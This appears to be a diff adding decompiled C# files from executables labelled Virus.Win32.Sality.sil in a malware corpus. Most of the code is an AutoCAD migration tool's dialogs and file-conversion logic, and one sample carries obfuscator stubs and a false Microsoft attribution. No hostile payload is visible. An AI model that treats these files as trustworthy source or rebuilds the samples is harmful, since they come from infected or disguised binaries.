+      this.Controls.Add((Control) this.btnOK);
+      this.Name = nameof (ImportDialog);
+      this.ResumeLayout(false);
+      this.PerformLayout();
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/LocalResources.cs

@@ -0,0 +1,26 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.LocalResources
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+using System.Reflection;
+using System.Resources;
+
+namespace Autodesk.AutoCAD.ADMigrator
+{
+  internal class LocalResources
+  {
+    private static ResourceManager rm_;
+
+    public static string GetString(string name)
+    {
+      if (LocalResources.rm_ == null)
+      {
+        Assembly.GetExecutingAssembly();
+        LocalResources.rm_ = new ResourceManager(typeof (ADMigratorResources));
+      }
+      return LocalResources.rm_.GetString(name);
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MNUFileMigrator.cs

@@ -0,0 +1,137 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.MNUFileMigrator
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+using Autodesk.AutoCAD.Customization;
+using Autodesk.AutoCAD.CustomMigrator;
+using System;
+using System.Globalization;
+using System.IO;
+
+namespace Autodesk.AutoCAD.ADMigrator
+{
+  public class MNUFileMigrator
+  {
+    public static ILogXML _logger;
+    private string _originalSourceMNUPath;
+    private string _targetCUIPath;
+    private string _sourceMNUPath;
+    private bool _loadTarget;
+    private CustomizationSection _convertedCUI;
+
+    public MNUFileMigrator(string source, ILogXML mainFormLogger)
+    {
+      string path = Path.GetDirectoryName(source) + "\\" + Path.GetFileNameWithoutExtension(source) + CustomizationSection.EXTENSION_SOURCE;
+      MNUFileMigrator._logger = mainFormLogger;
+      if (!File.Exists(path))
+        path = Path.ChangeExtension(path, CustomizationSection.EXTENSION_TEMPLATE);
+      if (!File.Exists(path))
+        return;
+      this._originalSourceMNUPath = path;
+    }
+
+    public bool LoadTarget => this._loadTarget;
+
+    public string OriginalSource => this._originalSourceMNUPath;
+
+    public CustomizationSection ConvertedCUI => this._convertedCUI;
+
+    public string TargetCUIPath => this._targetCUIPath;
+
+    public bool ConvertToCUIx(ProfileMigrator pm, string targetRootKey, bool mainMNS)
+    {
+      if (this._originalSourceMNUPath == null || this._originalSourceMNUPath.Length < 1)
+        return false;
+      string path = Migrator.GetRoamableRootFolder(targetRootKey) + "Previous Version Custom Files\\";
+      string str1 = path + Path.GetFileName(this._originalSourceMNUPath);
+      try
+      {
+        if (!Directory.Exists(path))
+          Directory.CreateDirectory(path);
+        File.Copy(this._originalSourceMNUPath, str1, true);
+        if ((File.GetAttributes(str1) & FileAttributes.ReadOnly) == FileAttributes.ReadOnly)
+          File.SetAttributes(str1, File.GetAttributes(str1) ^ FileAttributes.ReadOnly);
+        this._sourceMNUPath = str1;
+      }
+      catch (Exception ex)
+      {
+        string sLine = string.Format(LocalResources.GetString("ERROR_FILE_ACCESS_DENIED"), (object) str1);
+        MainForm.Log2File(sLine);
+        MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine);
+        return false;
+      }
+      string str2 = pm.SourceEncode(this._originalSourceMNUPath);
+      string str3 = pm.TargetExpand(str2);
+      if (mainMNS)
+        this._targetCUIPath = Path.GetDirectoryName(str3) + (object) Path.DirectorySeparatorChar + Path.GetFileNameWithoutExtension(str3) + LocalResources.GetString("MIGRATED_FILE_SUFFIX") + CustomizationSection.EXTENSION_OPC;
+      else
+        this._targetCUIPath = Path.ChangeExtension(str3, CustomizationSection.EXTENSION_OPC);
+      if (string.Compare(this._originalSourceMNUPath, str3, true, CultureInfo.InvariantCulture) != 0)
+      {
+        try
+        {
+          CustomizationSection customizationSection = new CustomizationSection(this._sourceMNUPath, true, false);
+          if (!Directory.Exists(Path.GetDirectoryName(this._targetCUIPath)))
+            Directory.CreateDirectory(Path.GetDirectoryName(this._targetCUIPath));
+          if (File.Exists(this._targetCUIPath))
+          {
+            string str4 = string.Format(LocalResources.GetString("LOG_FILE_ALREADY_EXISTS"), (object) this._targetCUIPath);
+            MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 3, str4);
+            this._convertedCUI = customizationSection;
+            this._loadTarget = true;
+          }
+          else
+          {
+            customizationSection.SaveAs(this._targetCUIPath);
+            this._convertedCUI = new CustomizationSection(this._targetCUIPath, true, false);
+            this._loadTarget = true;
+          }
+        }
+        catch (FileNotFoundException ex)
+        {
+          string sLine = string.Format(LocalResources.GetString("ERROR_CUI_FILE_NOT_FOUND"), (object) this._targetCUIPath);
+          MainForm.Log2File(sLine);
+          MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine);
+          return false;
+        }
+        catch (FileSaveException ex)
+        {
+          MainForm.Log2File(((Exception) ex).Message);
+          MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, ((Exception) ex).Message);
+          return false;
+        }
+        catch (Exception ex)
+        {
+          MainForm.Log2File(ex.Message);
+          MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, ex.Message);
+          return false;
+        }
+      }
+      else
+      {
+        try
+        {
+          this._convertedCUI = new CustomizationSection(this._originalSourceMNUPath, true, false);
+          this._targetCUIPath = this._convertedCUI.CUIFileName;
+          this._loadTarget = true;
+        }
+        catch (FileNotFoundException ex)
+        {
+          string sLine = string.Format(LocalResources.GetString("ERROR_CUI_FILE_NOT_FOUND"), (object) this._originalSourceMNUPath);
+          MainForm.Log2File(sLine);
+          MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, sLine);
+          return false;
+        }
+        catch (FileSaveException ex)
+        {
+          MainForm.Log2File(((Exception) ex).Message);
+          MNUFileMigrator._logger.LogXMLElement((LogOperation) 1, (LogCategory) 0, ((Exception) ex).Message);
+          return false;
+        }
+      }
+      return true;
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/MigratorMessageBox.cs

@@ -0,0 +1,85 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.MigratorMessageBox
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+using System.ComponentModel;
+using System.Drawing;
+using System.Windows.Forms;
+
+namespace Autodesk.AutoCAD.ADMigrator
+{
+  public class MigratorMessageBox : Form
+  {
+    private Button YesButton;
+    private Button NoButton;
+    private Label MessageText;
+    private Container components;
+    private PictureBox pictureBox1;
+    private Label WarningText;
+    private DialogResult mResult = DialogResult.Cancel;
+
+    public DialogResult DlgResult => this.mResult;
+
+    public MigratorMessageBox()
+    {
+      this.InitializeComponent();
+      this.pictureBox1.Image = (Image) SystemIcons.Question.ToBitmap();
+    }
+
+    protected override void Dispose(bool disposing)
+    {
+      if (disposing && this.components != null)
+        this.components.Dispose();
+      base.Dispose(disposing);
+    }
+
+    private void InitializeComponent()
+    {
+      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (MigratorMessageBox));
+      this.YesButton = new Button();
+      this.NoButton = new Button();
+      this.MessageText = new Label();
+      this.pictureBox1 = new PictureBox();
+      this.WarningText = new Label();
+      ((ISupportInitialize) this.pictureBox1).BeginInit();
+      this.SuspendLayout();
+      componentResourceManager.ApplyResources((object) this.YesButton, "YesButton");
+      this.YesButton.DialogResult = DialogResult.OK;
+      this.YesButton.Name = "YesButton";
+      componentResourceManager.ApplyResources((object) this.NoButton, "NoButton");
+      this.NoButton.DialogResult = DialogResult.Cancel;
+      this.NoButton.Name = "NoButton";
+      componentResourceManager.ApplyResources((object) this.MessageText, "MessageText");
+      this.MessageText.Name = "MessageText";
+      componentResourceManager.ApplyResources((object) this.pictureBox1, "pictureBox1");
+      this.pictureBox1.Name = "pictureBox1";
+      this.pictureBox1.TabStop = false;
+      componentResourceManager.ApplyResources((object) this.WarningText, "WarningText");
+      this.WarningText.Name = "WarningText";
+      componentResourceManager.ApplyResources((object) this, "$this");
+      this.Controls.Add((Control) this.pictureBox1);
+      this.Controls.Add((Control) this.MessageText);
+      this.Controls.Add((Control) this.NoButton);
+      this.Controls.Add((Control) this.YesButton);
+      this.Controls.Add((Control) this.WarningText);
+      this.FormBorderStyle = FormBorderStyle.FixedDialog;
+      this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = nameof (MigratorMessageBox);
+      ((ISupportInitialize) this.pictureBox1).EndInit();
+      this.ResumeLayout(false);
+    }
+
+    public static DialogResult Show(string msg, string msgCaregory, string title)
+    {
+      MigratorMessageBox migratorMessageBox = new MigratorMessageBox();
+      migratorMessageBox.Text = title;
+      migratorMessageBox.WarningText.Text = msgCaregory;
+      migratorMessageBox.MessageText.Text = msg;
+      return migratorMessageBox.ShowDialog();
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ProgressForm.cs

@@ -0,0 +1,43 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.ProgressForm
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+using System.ComponentModel;
+using System.Windows.Forms;
+
+namespace Autodesk.AutoCAD.ADMigrator
+{
+  public class ProgressForm : Form
+  {
+    private IContainer components;
+    private Label m_label;
+
+    public ProgressForm() => this.InitializeComponent();
+
+    protected override void Dispose(bool disposing)
+    {
+      if (disposing && this.components != null)
+        this.components.Dispose();
+      base.Dispose(disposing);
+    }
+
+    private void InitializeComponent()
+    {
+      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ProgressForm));
+      this.m_label = new Label();
+      this.SuspendLayout();
+      componentResourceManager.ApplyResources((object) this.m_label, "m_label");
+      this.m_label.Name = "m_label";
+      componentResourceManager.ApplyResources((object) this, "$this");
+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.ControlBox = false;
+      this.Controls.Add((Control) this.m_label);
+      this.Name = nameof (ProgressForm);
+      this.ShowIcon = false;
+      this.ResumeLayout(false);
+      this.PerformLayout();
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ProgressForm.resx

@@ -0,0 +1,166 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <data name="&gt;&gt;m_label.Type" xml:space="preserve">
+    <value>System.Windows.Forms.Label, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </data>
+  <data name="&gt;&gt;m_label.Name" xml:space="preserve">
+    <value>m_label</value>
+  </data>
+  <data name="$this.Text" xml:space="preserve">
+    <value>Please wait...</value>
+  </data>
+  <data name="m_label.Size" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAACQBAAANAAAACw==</value>
+  </data>
+  <data name="m_label.Text" xml:space="preserve">
+    <value>Processing data. This may take a few minutes. Please wait...</value>
+  </data>
+  <data name="$this.ClientSize" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAABACAABOAAAACw==</value>
+  </data>
+  <assembly alias="mscorlib" name="mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
+  <data name="m_label.TabIndex" type="System.Int32, mscorlib">
+    <value>0</value>
+  </data>
+  <data name="m_label.Location" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAB5AAAAHwAAAAs=</value>
+  </data>
+  <data name="&gt;&gt;$this.Name" xml:space="preserve">
+    <value>ProgressForm</value>
+  </data>
+  <data name="&gt;&gt;$this.Type" xml:space="preserve">
+    <value>System.Windows.Forms.Form, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </data>
+  <data name="&gt;&gt;m_label.ZOrder" xml:space="preserve">
+    <value>0</value>
+  </data>
+  <data name="$this.StartPosition" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5Gb3JtU3RhcnRQb3NpdGlvbgEAAAAHdmFsdWVfXwAIAgAAAAEAAAAL</value>
+  </data>
+  <data name="&gt;&gt;m_label.Parent" xml:space="preserve">
+    <value>$this</value>
+  </data>
+  <data name="m_label.AutoSize" type="System.Boolean, mscorlib">
+    <value>True</value>
+  </data>
+  <data name="$this.AutoScaleDimensions" mimetype="application/x-microsoft.net.object.binary.base64">
+    <value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5TaXplRgIAAAAFd2lkdGgGaGVpZ2h0AAALCwIAAAAAAMBAAABQQQs=</value>
+  </data>
+</root>

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Properties/Settings.cs

@@ -0,0 +1,49 @@
+// Decompiled with JetBrains decompiler
+// Type: Autodesk.AutoCAD.ADMigrator.Properties.Settings
+// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe
+
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace Autodesk.AutoCAD.ADMigrator.Properties
+{
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "8.0.0.0")]
+  [CompilerGenerated]
+  internal sealed class Settings : ApplicationSettingsBase
+  {
+    private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
+
+    public static Settings Default => Settings.defaultInstance;
+
+    [DefaultSettingValue("")]
+    [UserScopedSetting]
+    [DebuggerNonUserCode]
+    public string ImportInitialDirectory
+    {
+      get => (string) this[nameof (ImportInitialDirectory)];
+      set => this[nameof (ImportInitialDirectory)] = (object) value;
+    }
+
+    [DebuggerNonUserCode]
+    [DefaultSettingValue("")]
+    [UserScopedSetting]
+    public string ExportInitialDirectory
+    {
+      get => (string) this[nameof (ExportInitialDirectory)];
+      set => this[nameof (ExportInitialDirectory)] = (object) value;
+    }
+
+    private void SettingChangingEventHandler(object sender, SettingChangingEventArgs e)
+    {
+    }
+
+    private void SettingsSavingEventHandler(object sender, CancelEventArgs e)
+    {
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Virus.Win32.Sality.sil.csproj

@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{4B43690F-1857-42BC-BBCD-482582DF703F}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>ADMigrator</AssemblyName>
+    <ApplicationVersion>18.0.0.0</ApplicationVersion>
+    <RootNamespace>Autodesk.AutoCAD.ADMigrator</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="PresentationFramework" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="CUIFileMigrator.cs" />
+    <Compile Include="MNUFileMigrator.cs" />
+    <Compile Include="CustElementLocation.cs" />
+    <Compile Include="ExportDialog.cs" />
+    <Compile Include="ImportDialog.cs" />
+    <Compile Include="MainForm.cs" />
+    <Compile Include="CUIFileMap.cs" />
+    <Compile Include="ADMigratorResources.cs" />
+    <Compile Include="LocalResources.cs" />
+    <Compile Include="CustomizationHostServices.cs" />
+    <Compile Include="MigratorMessageBox.cs" />
+    <Compile Include="ProgressForm.cs" />
+    <Compile Include="DisposableContainer.cs" />
+    <Compile Include="Properties\Settings.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="AdMigLibResources.resx" />
+    <EmbeddedResource Include="ADMigratorResources.resx" />
+    <EmbeddedResource Include="ExportDialog.resx" />
+    <EmbeddedResource Include="ImportDialog.resx" />
+    <EmbeddedResource Include="MainForm.resx" />
+    <EmbeddedResource Include="MigratorMessageBox.resx" />
+    <EmbeddedResource Include="ProgressForm.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/Virus.Win32.Sality.sil.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ADMigrator", "Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.csproj", "{4B43690F-1857-42BC-BBCD-482582DF703F}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{4B43690F-1857-42BC-BBCD-482582DF703F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{4B43690F-1857-42BC-BBCD-482582DF703F}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{4B43690F-1857-42BC-BBCD-482582DF703F}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{4B43690F-1857-42BC-BBCD-482582DF703F}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/AssemblyInfo.cs

@@ -0,0 +1,14 @@
+using SmartAssembly.Attributes;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using System.Security.Permissions;
+
+[assembly: Guid("3c0f2080-510a-4834-a1b6-c4dd6b4c4bff")]
+[assembly: AssemblyCompany("Microsoft")]
+[assembly: PoweredBy("Powered by {smartassembly}")]
+[assembly: AssemblyCopyright("Copyright © Microsoft 2010")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: AssemblyTitle("syncui")]
+[assembly: AssemblyProduct("syncui")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/Attributes/PoweredByAttribute.cs

@@ -0,0 +1,26 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.Attributes.PoweredByAttribute
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+using SmartAssembly.SmartExceptionsCore;
+using System;
+
+namespace SmartAssembly.Attributes
+{
+  public sealed class PoweredByAttribute : Attribute
+  {
+    public PoweredByAttribute(string s)
+    {
+      try
+      {
+      }
+      catch (Exception ex)
+      {
+        string str = s;
+        throw UnhandledException.\u0003(ex, (object) this, (object) str);
+      }
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/SmartAssembly/Attributes/Token2000130.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.Attributes.Token2000130
+// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
+
+namespace SmartAssembly.Attributes
+{
+  internal class Token2000130 : \u0024Unresolved\u0024Token\u003A2003FFF
+  {
+  }
+}

